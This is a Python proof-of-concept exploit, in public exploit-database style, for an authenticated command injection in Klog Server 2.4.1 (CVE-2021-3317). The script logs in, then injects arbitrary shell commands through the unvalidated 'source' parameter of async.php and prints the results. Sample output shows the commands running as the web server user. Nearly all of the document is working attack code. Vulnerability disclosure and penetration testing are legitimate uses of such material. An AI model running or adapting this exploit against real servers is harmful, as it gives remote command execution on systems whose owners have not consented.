# Exploit Title: Klog Server 2.4.1 - Command Injection (Authenticated) # Date: 26.01.2021 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.klogserver.com/ # Version: 2.4.1 # Description: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection # CVE: 2021-3317 """ Description: "source" parameter is executed via shell_exec() function without input validation in async.php file. Example: python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id [*] Status Code for login request: 302 [+] Authentication was successful! [*] Exploiting... uid=48(apache) gid=48(apache) groups=48(apache) """ import argparse import requests import sys import urllib3 from argparse import ArgumentParser, Namespace def main(): dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)" parser: ArgumentParser = argparse.ArgumentParser(description=dsc) parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True) parser.add_argument("--username", help="Username", type=str, required=True) parser.add_argument("--password", help="Password", type=str, required=True) parser.add_argument("--command", help="Command", type=str, required=True) args: Namespace = parser.parse_args() if args.target: target = args.target if args.username: username = args.username if args.password: password = args.password if args.command: command = args.command exploit(target, username, password, command) def exploit(target, username, password, command): urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) s = requests.Session() headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1", } data = {"user" : username, "pswd" : password} login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False) print("[*] Status Code for login request: " + str(login.status_code)) if login.status_code == 302: check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False) if check.status_code == 200: print("[+] Authentication was successful!") else: print("[-] Authentication was unsuccessful!") sys.exit(1) else: print("Something went wrong!") sys.exit(1) print("[*] Exploiting...\n") executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False) print(executeCommand.text) sys.exit(0) if __name__ == '__main__': main()